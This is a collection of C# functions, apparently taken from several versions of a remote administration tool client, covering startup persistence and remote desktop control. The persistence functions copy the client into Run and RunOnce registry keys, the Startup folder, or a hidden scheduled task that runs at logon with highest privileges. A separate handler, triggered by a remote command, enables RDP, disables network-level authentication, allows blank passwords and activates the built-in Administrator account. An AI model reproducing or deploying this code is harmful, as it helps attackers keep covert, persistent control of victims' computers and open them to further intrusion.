public static bool AddToStartup() { if (WindowsAccountHelper.GetAccountType() == "Admin") { // Don't schedule non-working task on startup //try //{ // ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") // { // Arguments = "/create /tn \"" + Settings.STARTUPKEY + "\" /sc ONLOGON /tr \"" + ClientData.CurrentPath + "\" /rl HIGHEST /f", // UseShellExecute = false, // CreateNoWindow = true // }; // Process p = Process.Start(startInfo); // p.WaitForExit(1000); // if (p.ExitCode == 0) return true; //} //catch (Exception) //{ //} return(RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath, true)); } else { return(RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath, true)); } }
public static bool AddToStartup() { if (WindowsAccountHelper.GetAccountType() == "Admin") { try { ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") { Arguments = "/create /tn \"" + Settings.STARTUPKEY + "\" /sc ONLOGON /tr \"" + ClientData.CurrentPath + "\" /rl HIGHEST /f", UseShellExecute = false, CreateNoWindow = true }; Process p = Process.Start(startInfo); p.WaitForExit(1000); if (p.ExitCode == 0) { return(true); } } catch (Exception) { } return(RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath, true)); } else { return(RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath, true)); } }
public static bool AddToStartup() { if (WindowsAccountHelper.GetAccountType() == "Admin") { bool success = RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath); if (success) { return(true); } return(RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath)); } else { return(RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath)); } }
public void AddToStartup(string executablePath, string startupName) { if (UserAccount.Type == AccountType.Admin) { ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") { Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + "\" /rl HIGHEST /f", UseShellExecute = false, CreateNoWindow = true }; Process p = Process.Start(startInfo); p.WaitForExit(1000); if (p.ExitCode == 0) { return; } } RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, true); }
private void Execute(ISender client, DoStartupItemAdd message) { try { switch (message.StartupItem.Type) { case StartupType.LocalMachineRun: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.LocalMachineRunOnce: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.CurrentUserRun: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.CurrentUserRunOnce: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.LocalMachineWoW64Run: if (!PlatformHelper.Is64Bit) { throw new NotSupportedException("Only on 64-bit systems supported"); } if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.LocalMachineWoW64RunOnce: if (!PlatformHelper.Is64Bit) { throw new NotSupportedException("Only on 64-bit systems supported"); } if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.StartMenu: if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); } string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name + ".url"); using (var writer = new StreamWriter(lnkPath, false)) { writer.WriteLine("[InternetShortcut]"); writer.WriteLine("URL=file:///" + message.StartupItem.Path); writer.WriteLine("IconIndex=0"); writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/')); writer.Flush(); } break; } } catch (Exception ex) { client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" }); } }
public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client client) { // Kesin yöntem bulana kadar try try { switch (command.Type) { case 0: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) { throw new Exception("Değer Eklenemedi"); } break; case 1: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) { throw new Exception("Değer Eklenemedi"); } break; case 2: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) { throw new Exception("Değer Eklenemedi"); } break; case 3: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) { throw new Exception("Değer Eklenemedi"); } break; case 4: if (!PlatformYardımcısı.A64Bitmi) { throw new NotSupportedException( "Bu İşlem Sadece 64 Bit İşletim Sistemlerinde Destekleniyor."); } if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) { throw new Exception("Değer Eklenemedi"); } break; case 5: if (!PlatformYardımcısı.A64Bitmi) { throw new NotSupportedException( "Bu İşlem Sadece 64 Bit İşletim Sistemlerinde Destekleniyor."); } if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) { throw new Exception("Değer Eklenemedi"); } break; case 6: if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); } string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.Name + ".url"); using (var writer = new StreamWriter(lnkPath, false)) { writer.WriteLine("[InternetShortcut]"); writer.WriteLine("URL=file:///" + command.Path); writer.WriteLine("IconIndex=0"); writer.WriteLine("IconFile=" + command.Path.Replace('\\', '/')); writer.Flush(); } break; } } catch (Exception ex) { new SetStatus(string.Format("Oto-Başlangıç Öğesi Ekleme Başarısız: {0}", ex.Message)).Execute(client); } }
public static void HandleDoStartupItemAdd(Packets.ServerPackets.DoStartupItemAdd command, Client client) { try { switch (command.Type) { case 0: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case 1: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case 2: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case 3: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case 4: if (!PlatformHelper.Is64Bit) { throw new NotSupportedException("Only on 64-bit systems supported"); } if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case 5: if (!PlatformHelper.Is64Bit) { throw new NotSupportedException("Only on 64-bit systems supported"); } if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case 6: if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); } string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.Name + ".url"); using (var writer = new StreamWriter(lnkPath, false)) { writer.WriteLine("[InternetShortcut]"); writer.WriteLine("URL=file:///" + command.Path); writer.WriteLine("IconIndex=0"); writer.WriteLine("IconFile=" + command.Path.Replace('\\', '/')); writer.Flush(); } break; } } catch (Exception ex) { new Packets.ClientPackets.SetStatus(string.Format("Adding Autostart Item failed: {0}", ex.Message)).Execute(client); } }
public static void HandleRemoteDesktopProtocol(Packets.ServerPackets.DoRemoteDesktopProtocol packet, Client client) { bool toggleState = false; try { if (WindowsAccountHelper.GetAccountType() != "Admin") { new Packets.ClientPackets.SetStatus("Admin rights is required to enable this feature...").Execute(client); return; } Microsoft.Win32.RegistryKey checkEnabledKey = RegistryKeyHelper.OpenReadonlySubKey(Microsoft.Win32.RegistryHive.LocalMachine, @"SYSTEM\CurrentControlSet\Control\Terminal Server"); if (((int)checkEnabledKey.GetValue("fDenyTSConnections", 1)) == 0) { // If this is true, we want to turn the values to their 'off' positions in the registry as we toggle. toggleState = true; } Packets.ClientPackets.SetStatus failureStatus = new Packets.ClientPackets.SetStatus(string.Format("Failed to {0} keys! Admin is needed!", toggleState ? "restore" : "modify")); // Perform registry changes depending on protocol being enabled or not bool denyTSResult = RegistryKeyHelper.AddRegistryKeyValue(Microsoft.Win32.RegistryHive.LocalMachine, @"SYSTEM\CurrentControlSet\Control\Terminal Server", "fDenyTSConnections", toggleState ? 1 : 0, false /* we don't want to add quotes */, Microsoft.Win32.RegistryValueKind.DWord /* specify dword */ ); if (!denyTSResult) { failureStatus.Execute(client); return; } bool userAuthResult = RegistryKeyHelper.AddRegistryKeyValue(Microsoft.Win32.RegistryHive.LocalMachine, @"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp", "UserAuthentication", toggleState ? 1 : 0, false /* we don't want to add quotes */, Microsoft.Win32.RegistryValueKind.DWord /* specify dword */ ); if (!userAuthResult) { failureStatus.Execute(client); return; } bool secLayerResult = RegistryKeyHelper.AddRegistryKeyValue(Microsoft.Win32.RegistryHive.LocalMachine, @"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp", "SecurityLayer", 1, false /* we don't want to add quotes */, Microsoft.Win32.RegistryValueKind.DWord /* specify dword */ ); if (!secLayerResult) { failureStatus.Execute(client); return; } bool allowBlankPassResult = RegistryKeyHelper.AddRegistryKeyValue(Microsoft.Win32.RegistryHive.LocalMachine, @"SYSTEM\CurrentControlSet\Control\Lsa", "LimitBlankPasswordUse", 0, false /* we don't want to add quotes */, Microsoft.Win32.RegistryValueKind.DWord /* specify dword */ ); if (!allowBlankPassResult) { failureStatus.Execute(client); return; } // Enable default administrator account // net user administrator /active:yes SystemHelper.ExecuteCommandLine("net user administrator /active:" + (toggleState ? "no" : "yes"), true); // SERVER should start a reverse proxy client (rdp default set to 3389 this could be altered though... perhaps will add support for it in future...) new Packets.ClientPackets.SetStatus(toggleState ? "Disabled RDP Connections!" : "Enabled RDP Connections!").Execute(client); } catch (Exception ex) { new Packets.ClientPackets.SetStatus("Remote RDP Toggle Error: " + ex.Message); } }
public void HandleDoStartupItemAdd(TcpSocketSaeaSession session) { try { var command = GetMessageEntity <StartupItemPack>(session); switch (command.Type) { case StartupType.LocalMachineRun: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.LocalMachineRunOnce: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.CurrentUserRun: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.CurrentUserRunOnce: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.LocalMachineWoW64Run: if (!PlatformHelper.Is64Bit) { throw new NotSupportedException("Only on 64-bit systems supported"); } if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.LocalMachineWoW64RunOnce: if (!PlatformHelper.Is64Bit) { throw new NotSupportedException("Only on 64-bit systems supported"); } if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) { throw new Exception("Could not add value"); } break; case StartupType.StartMenu: if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); } string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.Name + ".url"); using (var writer = new StreamWriter(lnkPath, false)) { writer.WriteLine("[InternetShortcut]"); writer.WriteLine("URL=file:///" + command.Path); writer.WriteLine("IconIndex=0"); writer.WriteLine("IconFile=" + command.Path.Replace('\\', '/')); writer.Flush(); } break; } this.HandleGetStartupItems(session); } catch (Exception ex) { SendTo(CurrentSession, MessageHead.C_STARTUP_OPER_RESPONSE, new StartupOperResponsePack() { OperFlag = OperFlag.AddStartupItem, Successed = false, Msg = ex.Message }); } }